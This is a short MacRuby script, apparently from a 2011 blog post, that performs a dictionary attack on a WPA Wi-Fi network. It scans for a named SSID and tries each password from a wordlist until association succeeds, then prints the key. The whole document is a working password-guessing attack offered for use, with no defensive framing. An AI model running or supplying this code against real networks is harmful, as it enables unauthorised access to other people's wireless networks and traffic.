http://knoopx.net/2011/12/14/cracking-wpa-networks-with-macruby

corewlan.rb

framework "CoreWLAN"

iface = CWInterface.interface
iface.disassociate

wlans = iface.scanForNetworksWithParameters(nil, error: nil)
wlan = wlans.find {|w| w.ssid == "WLAN_724A"}
p [wlan.bssid, wlan.ssid, wlan.securityMode, wlan.wlanChannel.channelNumber]

keys = File.read("./dictionary.txt").lines.to_a.reverse

keys.each_with_index do |key, index|
  key.chop!
  puts "CURRENT KEY: #{key} (#{index+1}/#{keys.size})"
  if iface.associateToNetwork(wlan, password: key, error: nil)
    puts "KEY FOUND: #{key}"
    exit
  end
end